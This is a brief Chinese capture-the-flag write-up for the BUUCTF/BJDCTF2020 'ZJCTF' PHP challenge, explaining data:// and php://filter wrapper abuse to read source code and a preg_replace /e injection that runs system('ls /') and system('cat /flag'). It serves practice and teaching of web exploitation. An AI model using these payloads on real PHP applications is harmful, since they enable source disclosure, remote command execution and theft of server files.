BUUCTF[BJDCTF2020]ZJCTF,不过如此 1
考点:
1.php为协议
2.preg_replace /e 代码执行漏洞
进入靶场

代码审计,GET传参,text 要为 “I have a dream” ,file为next.php
构造payload:
?text=data://text/plain,I have a dream&&file=php://filter/read=convert.base64-encode/resource=next.php

base64解码
代码审计,要绕过正则匹配,然后执行eval()函数,而我们要执行eval()函数,就要通过getFlag()这个函数。
参考(对此正则进行查询:Preg_Replace代码执行漏洞解析-CE安全网 (cesafe.com))
文章中提到:
\S*=${phpinfo()}
将上面输入会将phpinfo()当做php代码执行。通过上述方法调用getFlag()函数
payload: next.php?\S*=${getFlag()}&&cmd=phpinfo();

成功获取界面,下面读取文件
payload: next.php?\S*=${getFlag()}&&cmd=system('ls /');

读取flag
payload:next.php?\S*=${getFlag()}&&cmd=system('cat /flag');

得到flag

浙公网安备 33010602011771号